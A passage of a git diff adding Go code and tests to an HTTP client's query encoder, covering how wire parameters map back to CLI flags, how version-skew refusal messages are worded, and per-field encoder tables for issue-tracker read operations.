puts on a request, sorted, +// paired with the flag behind it where there is one. +// +// It is what the gate walks, and it is also the honest answer to "which of my +// flags can a server be too old for" — a question the refusal text can only +// answer one parameter at a time. +func SkewParams() []ParamFlag { + entryFor := func(param string) ParamFlag { + flag, ok := paramFlag[param] + return ParamFlag{ + Param: param, + Flag: flag, + HasFlag: ok, + Subject: ParameterSubject(param), + Why: paramNoFlag[param].Why, + } + } + + seen := map[string]ParamFlag{} + for _, table := range cachedTables() { + for _, entry := range table.Fields { + switch entry.Disposition { + case DispParam, DispPath: + seen[entry.Param] = entryFor(entry.Param) + } + } + for _, reserved := range table.Reserved { + seen[reserved.Name] = entryFor(reserved.Name) + } + } + out := make([]ParamFlag, 0, len(seen)) + for _, pf := range seen { + out = append(out, pf) + } + slices.SortFunc(out, func(a, b ParamFlag) int { return strings.Compare(a.Param, b.Param) }) + return out +} + +// ParamFlag is one wire member and the flag behind it. +type ParamFlag struct { + Param string + Flag string + HasFlag bool + // Subject is what a case-3 refusal calls this member: the flag with its + // dashes, or the recorded spelling for a member no flag produces. Never + // empty. + Subject string + // Why is the reason a member has no flag, empty when it has one. + Why string +} diff --git a/internal/httpclient/encode/skew_test.go b/internal/httpclient/encode/skew_test.go new file mode 100644 index 000000000..8e6b47b9c --- /dev/null +++ b/internal/httpclient/encode/skew_test.go @@ -0,0 +1,189 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/encode/skew_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package encode + +import ( + "fmt" + "strings" + "testing" +) + +// GATE 5: the skew reverse lookup. +// +// The bijection gate above proves every field reaches a parameter. This one +// proves every parameter reaches back to a FLAG, which is the direction D7's +// third refusal text runs. +// +// The failure it exists to prevent is quiet and specific. A parameter added to +// the wire with no row here still encodes, still sends, and still earns a 400 +// from an older server — the only thing that breaks is the refusal, which +// degrades from "--include-comments is not supported by bd serve at ..." into a +// bare invalid-argument. That is a strictly worse message on exactly the day the +// user most needs a good one, and nothing else in this package would notice. + +func TestEveryWireParameterMapsBackToAFlagOrSaysWhyNot(t *testing.T) { + params := SkewParams() + if len(params) == 0 { + t.Fatal("the encoder table published no parameters; this gate is vacuous") + } + + for _, pf := range params { + if pf.HasFlag { + if pf.Why != "" { + t.Errorf("parameter %q has both a flag (--%s) and a no-flag reason; one of the two tables is wrong", pf.Param, pf.Flag) + } + if strings.HasPrefix(pf.Flag, "-") { + t.Errorf("parameter %q maps to %q; the table holds BARE flag names and the text supplies the dashes", pf.Param, pf.Flag) + } + continue + } + // No flag is a decision, and a decision carries its reason. Without this + // arm the cheapest way to green this gate would be to leave a new + // parameter out of both tables. + if pf.Why == "" { + t.Errorf("parameter %q is on the encoder table with no flag and no reason for having none;\n"+ + "add it to paramFlag if a flag produces it, or to paramNoFlag with why it cannot", pf.Param) + } + } +} + +func TestTheSkewTablesCarryNoRowsTheEncoderNeverSends(t *testing.T) { + // The converse direction. A row for a parameter no table publishes is a rule + // that matches nothing — it would survive a rename of the parameter it was + // written for and go on looking like coverage. + published := map[string]bool{} + for _, pf := range SkewParams() { + published[pf.Param] = true + } + + for param := range paramFlag { + if !published[param] { + t.Errorf("paramFlag names %q, which no encoder table publishes", param) + } + } + for param := range paramNoFlag { + if !published[param] { + t.Errorf("paramNoFlag names %q, which no encoder table publishes", param) + } + } +} + +func TestTheReverseLookupAnswersTheParametersASkewedServerNames(t *testing.T) { + // The mapping itself, spelled out. These are the pairs a 400 from an older + // server actually produces, and getting one of them wrong is invisible until + // a user reads the refusal. + for _, tc := range []struct{ param, flag string }{ + {"include_comments", "include-comments"}, + {"include_dependents", "include-dependents"}, + {"has_metadata_key", "has-metadata-key"}, + {"metadata_field", "metadata-field"}, + {"exclude_type", "exclude-type"}, + {"label_any", "label-any"}, + {"created_before", "created-before"}, + {"include_ephemeral", "include-ephemeral"}, + {"sort", "sort"}, + {"limit", "limit"}, + {"parent", "parent"}, + } { + got, ok := FlagForParam(tc.param) + if !ok { + t.Errorf("FlagForParam(%q) found nothing", tc.param) + continue + } + if got != tc.flag { + t.Errorf("FlagForParam(%q) = %q, want %q", tc.param, got, tc.flag) + } + } +} + +func TestParametersWithNoFlagDoNotInventOne(t *testing.T) { + // `--q` and `--cursor` do not exist. Rendering either would send the user + // looking for a flag that was never there, which is worse than naming the + // parameter, because it reads like the client knows something. + for _, param := range []string{"q", "cursor", "{id}"} { + if flag, ok := FlagForParam(param); ok { + t.Errorf("FlagForParam(%q) invented --%s", param, flag) + } + entry := paramNoFlag[param] + if entry.Why == "" { + t.Errorf("parameter %q has no recorded reason for having no flag", param) + } + // The subject is what the user reads, so it must never be a flag + // spelling and never be empty. + if entry.Subject == "" { + t.Errorf("parameter %q has no subject; case 3 could not name what it refused", param) + } + if strings.HasPrefix(ParameterSubject(param), "--") { + t.Errorf("ParameterSubject(%q) = %q, which reads as a flag", param, ParameterSubject(param)) + } + } +} + +func TestTheCaseThreeRefusalNamesTheFlagTheServerTheVersionAndTheParameter(t *testing.T) { + // D7 case 3, whole. Every one of the four facts is load-bearing: the flag is + // what the user typed, the URL is which server refused (an agent rig has + // several), the version is what makes "upgrade the server" actionable, and + // the parameter is what makes the message diagnosable when the flag mapping + // is the thing that is wrong. + got := UnknownParameterRefusal("include_comments", "http://serve.internal:9099", "1.0.4") + want := `--include-comments is not supported by bd serve at http://serve.internal:9099 (bd_version 1.0.4): parameter "include_comments" is unknown to the server` + if got != want { + t.Errorf("refusal =\n%s\nwant\n%s", got, want) + } + // The shared constant and the renderer are the same string. cmd/bd's + // refusal layer formats these same constants and byte-pins the result; a pin + // against a format that layer also owned would prove only that it agrees + // with itself. + if fmt.Sprintf(UnknownParameterFormat, "--include-comments", "http://serve.internal:9099", "1.0.4", "include_comments") != want { + t.Error("UnknownParameterFormat and UnknownParameterRefusal have drifted apart") + } +} + +func TestBeforeTheHandshakeTheRefusalNamesNoVersionRatherThanAnEmptyOne(t *testing.T) { + // The handshake is lazy (D6), so a case-3 refusal can arrive from a baseline + // operation that never fetched a context. Dialing for a version so the + // refusal could be one clause longer would be the wrong trade — a refusal is + // the one path that has to stay fast and side-effect free. + got := UnknownParameterRefusal("label_regex", "http://serve.internal:9099", "") + want := `--label-regex is not supported by bd serve at http://serve.internal:9099: parameter "label_regex" is unknown to the server` + if got != want { + t.Errorf("refusal =\n%s\nwant\n%s", got, want) + } + if strings.Contains(got, "bd_version") { + t.Errorf("the pre-handshake refusal printed an empty version parenthetical: %s", got) + } + if fmt.Sprintf(UnknownParameterNoVersionFormat, "--label-regex", "http://serve.internal:9099", "label_regex") != want { + t.Error("UnknownParameterNoVersionFormat and UnknownParameterRefusal have drifted apart") + } +} + +func TestASkewSignalAlwaysRendersEvenForAParameterThisClientNeverSent(t *testing.T) { + // The enterprise server's Host-allowlist refusal is the live case: 400 with + // `param: "Host"` for a DNS-named URL (internal/httpapi/server.go:1196). It + // is a request header, not a query parameter, so no flag produced it — and a + // refusal that came back empty here would swallow the one 4xx on this + // surface whose recovery is a serve-side flag. + got := UnknownParameterRefusal("Host", "http://bd.example.invalid:9099", "1.0.4") + want := `the "Host" filter is not supported by bd serve at http://bd.example.invalid:9099 (bd_version 1.0.4): parameter "Host" is unknown to the server` + if got != want { + t.Errorf("refusal =\n%s\nwant\n%s", got, want) + } + if strings.Contains(got, "--") { + t.Errorf("refusal invented a flag for a parameter with none: %s", got) + } + // And the degenerate input, because a server is untrusted text: an empty + // `param` must still produce a sentence rather than a fragment. + if empty := UnknownParameterRefusal("", "http://x", "1.0.4"); empty == "" { + t.Error("an empty param rendered an empty refusal") + } +} + +func TestTheSkewReasonIsTheServersOwnSpelling(t *testing.T) { + // Shared with internal/httpapi's ReasonUnknownParameter (problem.go:139). + // The two refusals that ride `invalid_argument` — unknown_parameter and + // invalid_value — carry opposite recoveries, so the reason is what + // dispatches. A typo here would classify every skew signal as a bad value. + if UnknownParameterReason != "unknown_parameter" { + t.Errorf("UnknownParameterReason = %q", UnknownParameterReason) + } +} diff --git a/internal/httpclient/encode/table.go b/internal/httpclient/encode/table.go new file mode 100644 index 000000000..0dfc5f292 --- /dev/null +++ b/internal/httpclient/encode/table.go @@ -0,0 +1,731 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/encode/table.go@49d1df2f6) +// to OSS beads under the MIT license. +package encode + +import ( + "reflect" + "sync" +) + +// The encoder table: the field-by-field disposition of every read request shape +// this client puts on the v0 wire. +// +// It exists because the encoders below it are hand-written, and a hand-written +// encoder's failure mode is silence — a filter it never learned about is a +// filter it never sends, and the server can only reject parameters it RECEIVES +// (D7). So the encoder is not the record of what it encodes; this is. The +// bijection gate reads it three ways at once: +// +// - against reflection over the source struct, so every populatable field is +// classified here or carries a divergence-ledger row, and an upstream field +// added tomorrow fails CI rather than shipping as a silent drop; +// - against internal/httpapi/spec/openapi.v0.yaml, so every parameter the +// operation publishes is either driven by a field or explicitly reserved; +// - against the encoders themselves, by populating one field at a time and +// asserting the behavior this table declares. +// +// A table with no entries, or a ledger row nothing references, fails the gate +// too: completeness is the gate's own invariant, not something a reader has to +// take on trust. + +// Op names a v0 operation, spelled as its operationId in the document. +type Op string + +const ( + OpListReadyWork Op = "listReadyWork" + OpCountReadyWork Op = "countReadyWork" + OpListIssues Op = "listIssues" + OpQueryIssues Op = "queryIssues" + OpCountIssues Op = "countIssues" + OpGetIssue Op = "getIssue" + + // The write operations carry no encoder table: their requests are JSON + // bodies rather than query strings, so there is no parameter set for the + // bijection gate to read. They are named here anyway because a refusal has + // to say WHICH operation refused, and the alternative is a second spelling + // of an operationId in the store package. + OpClaimIssue Op = "claimIssue" + OpCreateIssue Op = "createIssue" + OpCloseIssue Op = "closeIssue" + OpReopenIssue Op = "reopenIssue" + OpUpdateIssue Op = "updateIssue" + OpAddDependencies Op = "addDependencies" + OpRemoveDependency Op = "removeDependency" + OpBatchCloseIssues Op = "batchCloseIssues" + OpRememberMemory Op = "rememberMemory" + OpForgetMemory Op = "forgetMemory" + OpSweepIssues Op = "sweepIssues" + OpDeleteIssues Op = "deleteIssues" + OpBatchCreateIssues Op = "batchCreateIssues" + OpApplyBatch Op = "applyBatch" + + // countDependencyEdges carries no encoder table either, for a different + // reason: its request is ANCHORED rather than a predicate — four members, + // all four published — so it is built inline beside the three graph reads + // that share its collection. Its refusal still has to name an operation. + OpCountDependencyEdges Op = "countDependencyEdges" +) + +// Disposition is what becomes of one request field on its way to the wire. +type Disposition string + +const ( + // DispParam is encoded as the named query parameter. + DispParam Disposition = "param" + // DispPath is carried in the request path rather than the query string. + DispPath Disposition = "path" + // DispServerFixed is a field the SERVER pins: the client sends nothing and + // the decoded request carries the server's own value. It is not a drop — + // the value is knowable, and the gate asserts it. + DispServerFixed Disposition = "server-fixed" + // DispClientSide has no wire member and is honored by client-side + // machinery — the pager, the sort comparator, the max-rows circuit breaker. + // The gate asserts the encoder emits nothing for it, which is what keeps + // "the client honors this" from quietly becoming "the client ignores this". + DispClientSide Disposition = "client-side" + // DispDropped has no wire member and is deliberately NOT honored. Every one + // carries a divergence-ledger row arguing why the difference cannot be read + // as a narrower or wider answer than the caller asked for. + DispDropped Disposition = "dropped" + // DispRefused has no wire member and FAILS when populated, carrying the + // ledger row that says why. This is the default disposition of anything + // inexpressible: L12, refuse-not-drop. + DispRefused Disposition = "refused" + // DispInverted is a DERIVED DEFAULT: a member the wire publishes no + // parameter for, which the SERVER re-derives from the intent parameters the + // encoder sends in its place (D4's parent-walk inversion, parentwalk.go). + // + // It is its own disposition rather than a param or a refusal because it is + // neither: nothing about the member crosses the wire, and yet a populated + // one is not an error. What decides is the VALUE — the one the same builder + // would have derived for the intents being sent is accounted for, and every + // other value refuses with the row named here. The gate drives it exactly as + // a refusal, because its sentinel value is by construction not a derived + // one. + DispInverted Disposition = "inverted" + // DispNested is a member that is itself a whole request shape, encoded by + // the table over that shape rather than by this one. + // + // countIssues is why it exists: CountByGroupRequest carries the scalar + // predicate BY NAME (`Filter`) plus the dimension, so its table would + // otherwise have to restate twenty-three classifications the count table + // already makes — two copies of one partition, which is the drift every + // other gate here is written to prevent. + // + // It is not a drop and not a param. The gate drives it by populating the + // nested shape whole and asserting the query CHANGED, which is the property + // that matters: a grouped count whose builder forgot the caller's predicate + // answers buckets over the wrong set, and every bucket in it would look + // perfectly plausible. + DispNested Disposition = "nested" +) + +// FieldEntry is one field's disposition. +type FieldEntry struct { + // Name is the Go field on the source struct. + Name string + // Disposition is what becomes of it. + Disposition Disposition + // Param is the wire parameter (DispParam) or the path template segment + // (DispPath). + Param string + // Decoded names the field the SERVER's decoder lands this value on. For the + // request shapes the server shares with the client it is Name; for the two + // bridges — which map a legacy filter onto a role request — it is the + // corresponding member of the server-side type, and stating it here is what + // lets the round-trip gate compare the two without a hand-written twin. + Decoded string + // Fixed is the value the server pins (DispServerFixed). + Fixed string + // Why is required on every disposition but DispParam and DispPath. + Why string + // Ledger is the divergence-ledger row id, required on DispDropped and + // DispRefused and permitted elsewhere where a row is worth citing. + Ledger string +} + +// ReservedParam is a parameter the operation publishes that NO request field +// drives. Each one is a hole in the "every parameter comes from a field" half +// of the bijection, so each carries its reason. +type ReservedParam struct { + Name string + Why string +} + +// Table is one source shape's disposition against one operation. +type Table struct { + // Op is the operation this table encodes for. + Op Op + // Shape names a bridge's arm, and is empty on a primary table. + Shape string + // Source is the struct the caller hands the client. + Source reflect.Type + // Target is the request the server's decoder builds. + Target reflect.Type + // Primary marks the ONE table per operation whose parameter set must equal + // the operation's published parameter set. A bridge maps a legacy filter + // onto a subset of an operation it does not own, so it carries no such + // obligation — and saying that here is what stops a bridge from being read + // as evidence that the operation is fully mapped. + Primary bool + Reserved []ReservedParam + Fields []FieldEntry +} + +// Tables returns the whole encoder table, one entry per (operation, source +// shape) pair. +func Tables() []Table { + return []Table{ + readyTable(), + readyCountTable(), + listTable(), + queryTable(), + countTable(), + countByGroupTable(), + getTable(), + readyBridgeTable(), + searchExactIDsTable(), + searchParentWalkTable(), + } +} + +// TableFor returns the table for one operation and shape. +func TableFor(op Op, shape string) (Table, bool) { + for _, t := range cachedTables() { + if t.Op == op && t.Shape == shape { + return t, true + } + } + return Table{}, false +} + +// cachedTables is what the ENCODER reads, so a per-page walk does not rebuild +// two hundred table entries per request. Tables() keeps building a fresh copy +// for everyone else, which is what stops a caller from editing the table the +// encoder consults. +var cachedTables = sync.OnceValue(Tables) + +// briefCountDropWhy is what remains of the free-form-text projection's old +// three-shape drop after upstream #5586 published `brief` on both PAGE +// operations. The two listings now send it (readyTable, listTable and the ready +// bridge), so this reason is scoped to the COUNT, which publishes no such +// parameter and has no rows to project. +const briefCountDropWhy = "countReadyWork publishes no `brief` and answers a cardinality, so there is nothing to project: the parameter chooses what is HYDRATED and never which rows match, and a count reads neither. " + + "Dropping it is SkipLabels' and SkipCounts' argument exactly — the total is what it would have been — and refusing would make a performance flag a hard error on the one operation where it can cost nothing. " + + "The two page operations retired this drop and send the parameter; a caller that populates Brief for a count is asking a question a cardinality does not have" + +func param(name, wire string) FieldEntry { + return FieldEntry{Name: name, Disposition: DispParam, Param: wire, Decoded: name} +} + +func paramTo(name, wire, decoded string) FieldEntry { + return FieldEntry{Name: name, Disposition: DispParam, Param: wire, Decoded: decoded} +} + +func refused(name, ledger string) FieldEntry { + return FieldEntry{Name: name, Disposition: DispRefused, Ledger: ledger} +} + +func dropped(name, ledger, why string) FieldEntry { + return FieldEntry{Name: name, Disposition: DispDropped, Ledger: ledger, Why: why} +} + +func clientSide(name, why string) FieldEntry { + return FieldEntry{Name: name, Disposition: DispClientSide, Why: why} +} + +func serverFixed(name, fixed, why string) FieldEntry { + return FieldEntry{Name: name, Disposition: DispServerFixed, Fixed: fixed, Why: why} +} + +// readyFilterEntries are the filters listReadyWork and countReadyWork share. +// +// They are one list for the reason internal/httpapi's readyFilters is one +// function: the count answers with the SIZE of the page the listing returns, and +// a filter one of them sent and the other did not would make that identity false +// for any client that set it. +func readyFilterEntries() []FieldEntry { + return []FieldEntry{ + paramTo("IssueType", "type", "IssueType"), + param("Assignee", "assignee"), + param("Unassigned", "unassigned"), + param("Labels", "label"), + param("LabelsAny", "label_any"), + param("ExcludeLabels", "exclude_label"), + param("LabelPattern", "label_pattern"), + param("LabelRegex", "label_regex"), + param("Priority", "priority"), + paramTo("ParentID", "parent", "ParentID"), + refused("MolType", "E-ReadyRequest.MolType"), + param("IncludeDeferred", "include_deferred"), + param("IncludeEphemeral", "include_ephemeral"), + paramTo("ExcludeTypes", "exclude_type", "ExcludeTypes"), + paramTo("MetadataFields", "metadata_field", "MetadataFields"), + param("HasMetadataKey", "has_metadata_key"), + // [Removed: an enterprise-only `refused("ExcludeIDs", ...)` row stood + // here, naming a field issueops.ReadyRequest does not have in OSS + // (confirmed via reflection: TestEncoderTableClassifiesEveryRequestField + // fails "names a field that does not exist"). OSS's ReadyRequest + // (issueops/reader.go) carries no id-exclusion filter at all — unlike + // workapi.WorkFilter, whose own, separate ExcludeIDs refusal stays below + // in readyBridgeTable as "E-WorkFilter.ExcludeIDs". Do not re-add this + // row unless issueops.ReadyRequest grows the field.] + } +} + +func readyTable() Table { + return Table{ + Op: OpListReadyWork, Source: tyReadyRequest, Target: tyReadyRequest, Primary: true, + Fields: append(readyFilterEntries(), + param("Brief", "brief"), + // The sort policy is sent EXPLICITLY, always — including for a + // request that names none. An absent `sort` is "priority" to the + // server and hybrid to the storage layer, and those two answer with + // different item SETS once a limit truncates, so an empty policy is + // encoded as the concrete `hybrid` it means rather than omitted. + paramTo("Sort", "sort", "Sort"), + param("Limit", "limit"), + refused("Offset", "E-ReadyRequest.Offset"), + ), + } +} + +func readyCountTable() Table { + return Table{ + Op: OpCountReadyWork, Source: tyReadyRequest, Target: tyReadyRequest, Primary: true, + Fields: append(readyFilterEntries(), + dropped("Brief", "E-ReadyRequest.Brief@countReadyWork", briefCountDropWhy), + serverFixed("Sort", "priority", + "countReadyWork publishes no `sort`: a cardinality has no order, and the handler sends the listing's own default into the builder so the request stays one the builder accepts. "+ + "Dropping the caller's policy changes no answer — CountReady's total is order-independent by contract"), + refused("Limit", "E-ReadyRequest.Limit@countReadyWork"), + refused("Offset", "E-ReadyRequest.Offset"), + ), + } +} + +func listTable() Table { + return Table{ + Op: OpListIssues, Source: tyListRequest, Target: tyListRequest, Primary: true, + Reserved: []ReservedParam{{ + Name: "cursor", + Why: "the opaque keyset token. It is minted by the SERVER and echoed by the pager from the previous page's next_cursor; no request field encodes one, and a client that minted its own would be inventing a position in an order it cannot observe. " + + "ListRequest's own decoded position (AfterCreatedAt/AfterID) is client-side for exactly that reason — see D8 row 1 and the upstream ask for after_created_at/after_id parameters", + }, { + Name: "sort", + Why: "PAGER-OWNED, like cursor beside it. The operation publishes the display order the upstream ask named, but whether a request may carry it depends on the SHAPE OF THE WALK — a caller-supplied keyset position and an unlimited read must stay on the created-order pager — and on the server advertising issues.list.sort. " + + "None of that is visible to a per-field encoder, so ListRequest.SortBy stays serverFixed here and the key is written by the pager's pushdown leg (list_walk.go sortedPage), which is the only place that can see all four conditions at once", + }}, + Fields: []FieldEntry{ + param("Status", "status"), + paramTo("IssueType", "type", "IssueType"), + param("Assignee", "assignee"), + refused("TitleSearch", "E-ListRequest.TitleSearch"), + refused("SpecPrefix", "E-ListRequest.SpecPrefix"), + refused("IDFilter", "E-ListRequest.IDFilter"), + param("Labels", "label"), + param("LabelsAny", "label_any"), + param("ExcludeLabels", "exclude_label"), + refused("LabelPattern", "E-ListRequest.LabelPattern"), + refused("LabelRegex", "E-ListRequest.LabelRegex"), + refused("TitleContains", "E-ListRequest.TitleContains"), + refused("DescContains", "E-ListRequest.DescContains"), + refused("NotesContains", "E-ListRequest.NotesContains"), + refused("ExternalContains", "E-ListRequest.ExternalContains"), + refused("ExternalRef", "E-ListRequest.ExternalRef"), + paramTo("CreatedBefore", "created_before", "CreatedBefore"), + paramTo("CreatedAfter", "created_after", "CreatedAfter"), + refused("UpdatedAfter", "E-ListRequest.UpdatedAfter"), + refused("UpdatedBefore", "E-ListRequest.UpdatedBefore"), + refused("ClosedAfter", "E-ListRequest.ClosedAfter"), + refused("ClosedBefore", "E-ListRequest.ClosedBefore"), + refused("DeferAfter", "E-ListRequest.DeferAfter"), + refused("DeferBefore", "E-ListRequest.DeferBefore"), + refused("DueAfter", "E-ListRequest.DueAfter"), + refused("DueBefore", "E-ListRequest.DueBefore"), + refused("EmptyDesc", "E-ListRequest.EmptyDesc"), + refused("NoAssignee", "E-ListRequest.NoAssignee"), + refused("NoLabels", "E-ListRequest.NoLabels"), + dropped("SkipLabels", "E-ListRequest.SkipLabels", + "the wire hydrates labels either way; dropping the opt-out costs a join and hands the caller more data, never less"), + dropped("SkipCounts", "E-ListRequest.SkipCounts", + "the wire hydrates the three cardinalities either way. Every text rendering of `bd list` sets this, so refusing would kill the default listing over http"), + param("Brief", "brief"), + refused("IncludeComments", "E-ListRequest.IncludeComments"), + refused("IncludeAllTypes", "E-ListRequest.IncludeAllTypes"), + refused("Priority", "E-ListRequest.Priority"), + refused("PriorityMin", "E-ListRequest.PriorityMin"), + refused("PriorityMax", "E-ListRequest.PriorityMax"), + refused("PinnedFlag", "E-ListRequest.PinnedFlag"), + refused("NoPinnedFlag", "E-ListRequest.NoPinnedFlag"), + param("IncludeTemplates", "include_templates"), + param("IncludeGates", "include_gates"), + param("IncludeInfra", "include_infra"), + param("IncludeEphemeral", "include_ephemeral"), + refused("ExcludeTypes", "E-ListRequest.ExcludeTypes"), + paramTo("ParentID", "parent", "ParentID"), + refused("NoParent", "E-ListRequest.NoParent"), + refused("MolType", "E-ListRequest.MolType"), + refused("WispType", "E-ListRequest.WispType"), + refused("DeferredFlag", "E-ListRequest.DeferredFlag"), + refused("OverdueFlag", "E-ListRequest.OverdueFlag"), + paramTo("MetadataFields", "metadata_field", "MetadataFields"), + param("HasMetadataKey", "has_metadata_key"), + paramTo("AllFlag", "all", "AllFlag"), + refused("ReadyFlag", "E-ListRequest.ReadyFlag"), + serverFixed("SortBy", "created", + "a request that names no `sort` is welded to created order, because the cursor is a keyset position in that order — a first page under `bd list`'s priority-first default would make the second page skip and duplicate rows. "+ + "The operation publishes `sort`, but it is a PAGER-OWNED key (see the Reserved row) rather than a per-field one, so THE ENCODER emits nothing for this field and the decoded request carries the server's own `created` whenever the pager stays on the walk. "+ + "The pager's pushdown leg names the caller's order instead, on the bounded, position-free, capability-advertised requests where the server can serve it in one page; the legs it cannot take keep the client-side comparator and the fetch-to-exhaustion cost L2 now records for them alone"), + clientSide("Reverse", + "unlike SortBy, this one never reaches the wire at all: OSS listIssues publishes no `reverse` parameter under any capability — issues.list.sort (routes.go) gates `sort` alone, and handleListIssues (reads.go) never reads a reverse flag, so there is no pushdown leg for this field to ride. "+ + "[Removed from this table's Reserved set: an enterprise-only `reverse` row previously claimed it was PAGER-OWNED like `sort`, pairing with the upstream ask's sort+reverse pushdown. The published OpenAPI parameter list for GET /v0/beads/issues has no such member, and CapIssuesListSort's own doc says it gates `sort` only — so the row described behavior this OSS server does not serve. ListRequest.Reverse is honored purely by the client-side comparator on every leg (L2), never by the wire, until an upstream ask adds the parameter.]"), + param("Limit", "limit"), + refused("Offset", "E-ListRequest.Offset"), + clientSide("AfterCreatedAt", + "the caller-supplied keyset position is honored by the pager's SKIP-FORWARD WALK (D8 row 1): it pages the created-order wire and discards rows at or before the position. "+ + "The encoder deliberately mints NO created_before jump for it — created_before is strictly exclusive (internal/storage/sqlbuild/filter.go) while the keyset upper bound is inclusive, so a jump computed from an instant whose storage granularity the client cannot observe would silently drop the same-instant tail. That is the drop L3 and L12 exist to prevent, traded for an optimization; the jump becomes safe when the wire publishes after_created_at/after_id (upstream ask)"), + clientSide("AfterID", + "the same position's tie-break, discarded against client-side; the wire carries it only inside the opaque cursor, which the client must not mint"), + clientSide("AfterPriority", + "the priority half of a keyset position minted under sort=priority (upstream #5666); like AfterCreatedAt/AfterID it reaches the wire only inside the opaque cursor, which the client must not mint, so the pager's skip-forward walk discards against it client-side"), + clientSide("MaxRows", + "the wire publishes no max_rows, so the client enforces the cap during page accumulation and synthesizes issueops.ErrTooManyRows — the exact sentinel `bd list` already classifies into exit 2 (D12). The cap bounds WIRE ROWS FETCHED, which is why it can fire where local mode would not (L15)"), + clientSide("MaxRowsSource", + "the cap's attribution, read back by the synthesized refusal's text; it decides no answer (D12)"), + }, + } +} + +func queryTable() Table { + return Table{ + Op: OpQueryIssues, Source: tyQueryRequest, Target: tyQueryRequest, Primary: true, + Fields: []FieldEntry{ + paramTo("Expression", "q", "Expression"), + paramTo("IncludeClosed", "all", "IncludeClosed"), + paramTo("SortBy", "sort", "SortBy"), + param("Reverse", "reverse"), + param("Limit", "limit"), + refused("Offset", "E-QueryRequest.Offset"), + }, + } +} + +// countTable is the issue count's predicate, and it is the one table on this +// surface with NOTHING TO REFUSE. +// +// That is worth stating, because a count is the shape where a dropped filter +// does the most damage: a listing that widened returns rows a caller can look +// at, and a count that widened returns a NUMBER, which carries no evidence of +// the set it came from. So the partition here was measured against the +// document rather than assumed — every one of CountRequest's twenty-three +// members is published by GET /v0/beads/issues:count, and the count's +// vocabulary is total. +// +// THE COUNT'S PLANE VOCABULARY IS NARROWER THAN THE LISTING'S — `include_infra` +// and `include_ephemeral` where listIssues additionally has `include_templates`, +// `include_gates` and `all` — and that narrowing is the ROLE's, not the wire's. +// issueops.CountRequest has no member for those remaining three, so there is no +// field here to refuse: `bd count` and `bd list` answer about different sets on +// EVERY backend, and this client reproduces that difference exactly rather than +// inventing a wire divergence to describe it. What IncludeInfra alone moves is +// four things at once, and the role documents them; a caller that wants a plane +// union the count cannot express is asking a question issueops.Counter does not +// have. +// +// [Corrected: this comment previously claimed CountRequest carried only +// IncludeInfra from the plane vocabulary ("has no member for the other four"), +// and the table below sent no `has_metadata_key` or `include_ephemeral` to +// match. Both are real CountRequest members (issueops/counter.go) and both are +// published by GET /v0/beads/issues:count in the OSS OpenAPI spec, so the +// table was silently dropping two caller-supplied filters on every count +// request. Mapped below as ordinary params; see TestEveryEncoderTableParameterIsPublished.] +func countTable() Table { + return Table{ + Op: OpCountIssues, Source: tyCountRequest, Target: tyCountRequest, Primary: true, + Reserved: []ReservedParam{{ + Name: "group_by", + Why: "the bucketing dimension is not part of the predicate: no member of CountRequest carries it, because a scalar count has none. " + + "It is issueops.CountByGroupRequest.GroupBy, classified by the countIssues/byGroup table beside this one, which carries the same filter by reference rather than by copy", + }}, + Fields: []FieldEntry{ + param("Status", "status"), + paramTo("IssueType", "type", "IssueType"), + param("Assignee", "assignee"), + + param("Priority", "priority"), + paramTo("PriorityMin", "priority_min", "PriorityMin"), + paramTo("PriorityMax", "priority_max", "PriorityMax"), + + param("Labels", "label"), + param("LabelsAny", "label_any"), + + paramTo("TitleSearch", "title", "TitleSearch"), + // The comma-separated string, sent as the caller wrote it: the ROLE + // splits, trims and de-duplicates it, and a client that pre-split it + // would be deciding what an id set means — the same reading the + // server's own handler gives the parameter. + paramTo("IDFilter", "id", "IDFilter"), + + paramTo("TitleContains", "title_contains", "TitleContains"), + paramTo("DescContains", "desc_contains", "DescContains"), + paramTo("NotesContains", "notes_contains", "NotesContains"), + + paramTo("CreatedAfter", "created_after", "CreatedAfter"), + paramTo("CreatedBefore", "created_before", "CreatedBefore"), + paramTo("UpdatedAfter", "updated_after", "UpdatedAfter"), + paramTo("UpdatedBefore", "updated_before", "UpdatedBefore"), + paramTo("ClosedAfter", "closed_after", "ClosedAfter"), + paramTo("ClosedBefore", "closed_before", "ClosedBefore"), + + paramTo("EmptyDesc", "empty_description", "EmptyDesc"), + paramTo("NoAssignee", "no_assignee", "NoAssignee"), + paramTo("NoLabels", "no_labels", "NoLabels"), + + param("IncludeInfra", "include_infra"), + // [Added: OSS publishes `include_ephemeral` on GET + // /v0/beads/issues:count (same plane knob ListRequest.IncludeEphemeral + // already maps on listIssues) and CountRequest carries the matching + // member (issueops/counter.go). The table previously had no entry for + // it at all, silently dropping a caller-supplied filter.] + param("IncludeEphemeral", "include_ephemeral"), + + paramTo("MetadataFields", "metadata_field", "MetadataFields"), + // [Added: OSS publishes `has_metadata_key` on GET + // /v0/beads/issues:count, spelled and meaning the same thing as + // ListRequest.HasMetadataKey/ReadyRequest.HasMetadataKey. Missing + // here for the same reason IncludeEphemeral was: no entry at all.] + param("HasMetadataKey", "has_metadata_key"), + }, + } +} + +// countByGroupTable is the bucketed count: the scalar predicate plus one +// dimension. +// +// It is NOT primary — the count table above owns the operation's parameter set +// — and it classifies two members, because that is all CountByGroupRequest has. +// The predicate travels through the count table by delegation (DispNested) +// rather than by a second enumeration of the same twenty-three fields. +func countByGroupTable() Table { + return Table{ + Op: OpCountIssues, Shape: "byGroup", + Source: tyCountByGroupRequest, Target: tyCountByGroupRequest, + Fields: []FieldEntry{ + {Name: "Filter", Disposition: DispNested, Decoded: "Filter", + Why: "the same predicate a scalar count takes, encoded by the countIssues table. Sharing it rather than restating it is what makes the two questions provably one: a grouped count is a scalar count plus a dimension, and a builder that narrowed one and not the other would bucket a set the caller never asked about"}, + paramTo("GroupBy", "group_by", "GroupBy"), + }, + } +} + +func getTable() Table { + return Table{ + Op: OpGetIssue, Source: tyGetRequest, Target: tyGetRequest, Primary: true, + Fields: []FieldEntry{ + {Name: "ID", Disposition: DispPath, Param: "{id}", Decoded: "ID"}, + param("IncludeDependents", "include_dependents"), + param("IncludeComments", "include_comments"), + param("BriefDeps", "brief_deps"), + }, + } +} + +// readyBridgeTable is the reverse types.WorkFilter -> ready-parameters mapper. +// +// It exists only because `bd ready`'s listing is still raw at tip, and it dies +// with the upstream front-door migration onto issueops.Reader. Until then it is +// the seam's least elegant component, and the only thing 